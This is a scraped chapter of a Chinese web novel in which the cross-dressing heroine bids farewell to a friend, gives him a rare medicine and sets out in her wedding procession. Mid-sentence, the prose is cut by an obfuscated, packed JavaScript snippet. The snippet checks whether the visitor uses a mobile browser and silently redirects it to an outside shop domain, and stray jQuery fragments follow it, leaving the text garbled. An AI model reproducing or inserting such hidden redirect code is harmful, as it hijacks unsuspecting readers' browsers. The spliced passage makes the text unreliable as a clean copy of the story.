46. [锁] 该章节由作者自行锁定

作品:《女驸马生存指南

    今日好不容易得了告假,既然指挥司不让她查,她便想着去大理寺找找马文才,却被告知他外出公干,归期未定。


    踌躇片刻,她便先去了沈文平的住处。


    沈文平的住处偏僻,屋里没有人,门却开着。她仔细的打量了几番,屋内陈设极其简单,一床一桌一椅,连像样的茶具都无。与平日里沈文山给她带来的印象相去甚远。


    正当陈茯苓觉得奇怪时,沈文平推门而入,似乎并不惊讶她出现在这,只是平铺直叙:“有事?”


    陈茯苓讷讷,从怀中掏出烫金的请帖递出:“沈兄,我......我要与公主成婚,特来给你送请帖。”


    她心里打着鼓,不知道沈文平兄知道自己抢了他仰慕的女神,会不会与她翻脸。


    那也只好受着了。


    “听说了,恭喜你。”沈文平细细地观察她,突然极淡地笑了下:“不过,可惜了。陈兄,我近期需出一趟远门,恐怕无法赴宴了,抱歉。”


    尽管有所预料,陈茯苓还是感到了失落,她点点头道:“好吧。”


    沉默了一会,陈茯苓还是道:“沈兄怪我么?”


    “怪你什么?”沈文平像是听到了什么有趣的话,失笑道。


    陈茯苓自己也说不清,只是心中觉得怪异。


    “跟公主成婚你不高兴?”沈文平看着他。


    这她哪敢说满不满意,连忙换了个问题。


    “何时回来?”


    沈文平深深地看了眼陈茯苓,半晌才道:“未知。”


    “是件难办之事?”陈茯苓忍不住追问。


    “或许,”沈文平又笑了下。


    陈茯苓从未见到沈文平一日能笑这么多次。


    但她莫名觉得,沈文平这次是真心的,不带着任何嘲讽的意味,“但山水相逢,你我总会有再见面之日。”


    陈茯苓自幼在药师谷长大,习惯了师傅师兄的常年相伴,对于山下的聚散离合,总是很难透彻理解,只觉得心头像是被什么东西轻轻扯了一下,浮起一丝说不清道不明的怅惘。她抓不住那情绪的源头,只能干巴巴地应道:“好的。”


    但她一向不是爱多想的人,甩开那点莫名的感伤,从怀中掏出一个朴素的小瓷瓶,塞到沈文平手中。


    这是前几日特意让师兄寻来的。


    沈文平捏着这枚丹药一愣。


    “这是?”


    陈茯苓随意道:“我见你时常畏寒,观你脉象,中毒已久,寒气入肺,五脏皆损.....”


    话没说完,却没想到沈文平神色骤然一变,周身发出凛冽冷意,陈茯苓对这种气息十分熟悉,是杀意。


    陈茯苓一愣,那股杀意却转瞬即逝,仿佛从未出现过。


    但陈茯苓知道不是错觉,她对杀意向来敏感,绝不会错。


    她坚持说完道:“这药虽不能根治你的病,但能缓解你经脉种的寒痛,让你好受些。”


    顿了顿,又补充道:“若你愿意,可往云药山寻一个叫张平的人,他可以为你诊脉。”


    这回换沈文平愣住了。


    他认得这药,是药师谷特有的阳木泥所制,他曾派人多方查探,只为寻得此药。只是药师谷的药师行踪波谲诡异,无人知晓他们的具体行踪,只辗转买到寥寥数粒,仅在痛不可忍时才敢服用。此刻晃了晃手中瓷瓶,里面起码有数十颗,颗颗价值千金,却被她随手相赠,仿佛只是件不值一提的寻常物事。


    他更清楚,“张平”二字意味着什么。或许寻常人不得知,但皇室密卷里详细记载了此人生平,药仙谷第一圣手,医术通玄,行踪飘忽,就连内卫也找寻不到的人。


    陈茯苓如何能如此熟稔地直呼其名,还清楚知道他的行踪?


    陈茯苓还怕他嫌弃这是师门所制,非名家手笔,嘴笨舌拙。


    见他收下,心里松了口气,又不知道说些什么,只得道:“那沈兄,你多保重,我先走了。”


    沈文平尚在惊疑,一名作寻常仆役打扮的属下不知从何处悄无声息的现身,伸手接过药瓶检查,倒出一粒丹药,仔细嗅闻,又用木棍挂了一小勺,小心地尝了一点,片刻后冲沈文平点点头道,眼中露出惊异之色:“公子,此乃阳木丹,是......真品。”


    沈文平望着她离去的背影,沉默良久,想起她方才眼巴巴递请帖的模样,终是憋不住低笑出声。


    归途中,陈茯苓心头仍带着几分伤感。


    下山这些时日,总是在与人不断相识,又不断别离,她终究难以适应。


    更让她耿耿于怀的是,沈文平那般推崇公主,自己这般横插一脚,娶了人家心仪之人,沈文平嘴上不说,心里定然不好受。他拒绝赴宴,大抵也是因此,自己这算不算夺人所好?


    希望日后解释清楚,她与公主殿下其实不过是逢场作戏,形势所逼,希望沈兄能原谅她这情非得已的抉择。


    她叹了口气,只觉得这京城的人和事,她真的有些应付不了。


    汴京,西廊街,驸马府。


    这驸马府,虽名义上归驸马所有,实则是皇帝为公主大婚特意拨款,由工部选址改建的前朝旧府,坐落于西市,规制颇大,五进院落,东西跨院俱全,配着花园与祠堂。门窗梁柱皆饰缠枝莲纹样,府内还特意预留了公主专属的正院,陈设皆是内务府统一配送,奢华而不失规整。


    礼法讲究“夫为妻纲”,纵使公主是金枝玉叶,婚后也需遵循“妇从夫居”的伦理,不得另立公主府,因此陈茯苓白得了一处豪华大府邸。


    不过,若是她与公主和离,这府邸就会被收回,终归还是寄人篱下。


    但是听说,自古驸马与公主的姻缘,多是绑定一生,要么公主早逝,要么驸马犯案获罪,方能解了这婚约。


    也是吃上铁饭碗了,虽然是软饭版。


    辰时三刻,陈茯苓打着呵欠坐在镜前,晓翠抓着梳子为他束发,陈府已经遣散了许多人,仅剩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672340|180837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    几人跟着陈茯苓一起到了驸马府,晓翠便是其中之一。


    她低垂着眼看着镜中面若冠玉的陈茯苓,轻声道:“好了,大人......驸马爷。”


    陈茯苓打了个呵欠,点头起身。


    今日,便是迎亲日子。


    “驸马爷,时辰要紧,可不敢耽搁了吉时。”一旁的嬷嬷看着她慢吞吞的模样,恨不得自己上手。


    也不怪陈茯苓拖沓,这婚服里三层外三层,繁琐异常。她又不愿让婢女贴身伺候,自己折腾了半晌,满头大汗,才勉强将朝服穿好。


    按照旧例,驸马也需在家中祭拜祖先,然后与父亲一同在正厅进行祭告,接受父亲的戒词,提醒他恪守夫道,但是陈一无父无母,皇帝便特旨让陈阁老代为行礼。


    而公主则需前往奉先殿拜祭祖先,再到帝后面前,行四拜之礼,饮酒受诫。


    陈茯苓则需要在完成醮戒后,换上朝服,由皇帝赏赐的鼓乐队伍带领,到达午门西面,下马进入朝房等候。


    申时,从午门西角门进入,到达右红门,由内官引导至内使监前等候公主完成受醮戒礼。公主完成受醮戒礼后,换燕居冠服,由命妇送至宫门,驸马为公主揭帘,公主入轿后,抬轿人起轿,乐队在前,再前往驸马府。


    流程繁琐冗长,还都需要卡着时辰,但凡有一步出了岔子,都是掉脑袋的事情,因此负责此次婚宴的所有人,都将心提到了嗓子眼。


    果真怕什么来什么。


    行进的杖仪队突然停下,陈茯苓坐在高头大马上,向前望去,乌泱泱都是迎亲的人群,只能看见远处似乎围着些什么人。


    “驸马爷,前方有马匹失控,横冲直撞,打翻了商贩的菜兜,路被堵了!”先行探路的内侍匆匆来报。


    “大胆!这等时候,岂容耽搁!”随行的嬷嬷面色一沉,喝道。“哪来的不长眼的。”


    很快,有人将一个白发老汉拎了过来,他吓得瘫软在地,连连磕头:“驸马爷饶命!驸马爷饶命!”


    嬷嬷见状,抬脚便将老汉踹翻在地,老头在地上滚了几圈,痛得眼泪直流。


    “换条路走。”陈茯苓沉声开口。


    嬷嬷神色冷冷:“驸马爷,大婚途中绕路,可不是吉兆,圣上若是怪罪下来,谁也承担不起。”


    晓翠皱着眉:“嬷嬷虽是皇上所派,却也别忘了,我家大人是御赐驸马,好歹是你的主子,说话当有分寸。”


    嬷嬷脸色一变,欲要发作。


    “我说,换路。”陈茯苓道。


    嬷嬷愣了愣,前几日的教习,陈茯苓总是温吞顺从,全然不似传闻中那般杀伐果断,便渐渐生出几分轻视。此刻见她动了真容,竟一时语塞。但显然陈茯苓这次是动了怒了。


    她转头望向那狼藉的路面,清理起来确实要耗费不少时辰,思忖片刻,终是让步,拍了拍手道:“掉头,往东市走。”


    乌泱泱的迎亲队伍,当即调转方向,往东市而去。